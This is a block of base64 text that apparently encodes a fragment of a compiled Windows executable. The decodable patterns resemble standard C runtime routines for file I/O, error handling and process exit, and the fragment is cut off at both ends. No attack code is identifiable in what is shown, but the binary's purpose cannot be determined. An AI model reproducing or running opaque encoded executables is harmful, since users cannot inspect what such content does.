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IOX///8VeOBAAIXAD4RgAgAAM8k5jSDl//90CITbD4RQAgAA/xV04EAAi5005f//iYUc5f//M8CJhTzl//85RRAPhkIFAACJhUTl//+KhSfl//+EwA+FZwEAAIoLi7Uo5f//M8CA+QoPlMCJhSDl//+LBgPHg3g4AHQVilA0iFX0iE31g2A4AGoCjUX0UOtLD77BUOguMAAAWYXAdDqLjTTl//8rywNNEDPAQDvID4alAQAAagKNhUDl//9TUOiyLwAAg8QMg/j/D4SxBAAAQ/+FROX//+sbagFTjYVA5f//UOiOLwAAg8QMg/j/D4SNBAAAM8BQUGoFjU30UWoBjY1A5f//UVD/tRzl//9D/4VE5f///xVw4EAAi/CF9g+EXAQAAGoAjYU85f//UFaNRfRQi4Uo5f//iwD/NAf/FWzgQACFwA+EKQQAAIuFROX//4uNMOX//wPBObU85f//iYU45f//D4wVBAAAg70g5f//AA+EzQAAAGoAjYU85f//UGoBjUX0UIuFKOX//4sAxkX0Df80B/8VbOBAAIXAD4TQAwAAg7085f//AQ+MzwMAAP+FMOX///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyWaD/goPlMFDQ4OFROX//wKJtUDl//+JjSDl//88AXQEPAJ1Uv+1QOX//+gRUwAAWWY7hUDl//8PhWgDAACDhTjl//8Cg70g5f//AHQpag1YUImFQOX//+jkUgAAWWY7hUDl//8PhTsDAAD/hTjl////hTDl//+LRRA5hUTl//8Pgvn9///pJwMAAIsOihP/hTjl//+IVA80iw6JRA846Q4DAAAzyYsGA8f2QASAD4S/AgAAi4U05f//iY1A5f//hNsPhcoAAACJhTzl//85TRAPhiADAADrBou1KOX//4uNPOX//4OlROX//wArjTTl//+NhUjl//87TRBzOYuVPOX///+FPOX//4oSQYD6CnUQ/4Uw5f//xgANQP+FROX//4gQQP+FROX//4G9ROX///8TAABywovYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xVs4EAAhcAPhEICAACLhSzl//8BhTjl//87ww+MOgIAAIuFPOX//yuFNOX//ztFEA+CTP///+kgAgAAiYVE5f//gPsCD4XRAAAAOU0QD4ZNAgAA6waLtSjl//+LjUTl//+DpTzl//8AK4005f//jYVI5f//O00Qc0aLlUTl//+DhUTl//8CD7cSQUFmg/oKdRaDhTDl//8Cag1bZokYQECDhTzl//8Cg4U85f//AmaJEEBAgb085f///hMAAHK1i9iNhUjl//8r2GoAjYUs5f//UFONhUjl//9Qiwb/NAf/FWzgQACFwA+EYgEAAIuFLOX//wGFOOX//zvDD4xaAQAAi4VE5f//K4U05f//O0UQD4I/////6UABAAA5TRAPhnwBAACLjUTl//+DpTzl//8AK4005f//agKNhUj5//9eO00QczyLlUTl//8PtxIBtUTl//8DzmaD+gp1DmoNW2aJGAPGAbU85f//AbU85f//ZokQA8aBvTzl//+oBgAAcr8z9lZWaFUNAACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FXDgQACL2DveD4SXAAAAagCNhSzl//9Qi8MrxlCNhDXw6///UIuFKOX//4sA/zQH/xVs4EAAhcB0DAO1LOX//zvef8vrDP8VGOBAAImFQOX//zvef1yLhUTl//8rhTTl//+JhTjl//87RRAPggr////rP2oAjY0s5f//Uf91EP+1NOX///8w/xVs4EAAhcB0FYuFLOX//4OlQOX//wCJhTjl///rDP8VGOBAAImFQOX//4O9OOX//wB1bIO9QOX//wB0LWoFXjm1QOX//3UU6D7c///HAAkAAADoRtz//4kw6z//tUDl///oStz//1nrMYu1KOX//4sG9kQHBEB0D4uFNOX//4A4GnUEM8DrJOj+2///xwAcAAAA6Abc//+DIACDyP/rDIuFOOX//yuFMOX//19bi038M81e6BXN///Jw2oQaOD6QADo4+f//4tFCIP4/nUb6Mrb//+DIADor9v//8cACQAAAIPI/+mdAAAAM/87x3wIOwWIK0EAciHoodv//4k46Ifb///HAAkAAABXV1dXV+gP2///g8QU68mLyMH5BY0cjaArQQCL8IPmH8HmBosLD75MMQSD4QF0v1DolEkAAFmJffyLA/ZEMAQBdBb/dRD/dQz/dQjoLvj//4PEDIlF5OsW6CTb///HAAkAAADoLNv//4k4g03k/8dF/P7////oCQAAAItF5Ohj5///w/91COjeSQAAWcPMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7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